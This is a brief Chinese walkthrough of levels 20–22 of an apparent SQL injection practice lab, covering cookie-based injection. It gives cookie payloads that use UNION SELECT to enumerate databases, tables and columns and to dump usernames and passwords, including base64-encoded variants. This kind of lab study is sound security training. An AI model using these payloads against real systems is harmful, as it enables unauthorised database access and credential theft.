less 20 21 22
less20
输入用户名和密码之后 显示 很多信息 其中有一个cookie值,作为下次登陆的凭证
cookie 比如 登录QQ空间 登录一次过后,可以不使用用户名和密码 就可以登录账号
$sql=“SELECT * FROM users WHERE username=‘$cookee’ LIMIT 0,1”;
在登录之后后台会将username放入cookie中,
再次登录的时候,只要是cookie没有过期,就会去cookie里面取值,然后进行查询。
登录成功之后 刷新一下 再抓包
改cookie:uname=admin',报错,说明存在注入漏洞
查看列数:uname=' order by 4 # (注意闭合sql语句)
然后猜3列 正确
判断回显位置:uname='union select 1,2,3#
爆库 uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#
爆表:uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#
爆列:uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#
爆字段:uname='union select 1,2,group_concat(concat_ws('-',username,password))from security.users#
less21
更新了之后 抓包
可以看到cookie的内容变成加密的形式,百度后用base64加解密可以解决: https://base64.us
把我们需要输入的语句先进行一遍base64加密即可:
例如判断当前数据库:uname=')union select 1,2,database()#转义之后:
除了闭合方式和加一步转码外,步骤与上一关完全一致,不再赘述。
less-22
本关抓包并测试发现数据格式变为“”,其他完全一样
“ union select 1,2,database()#转义:IiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
其他一致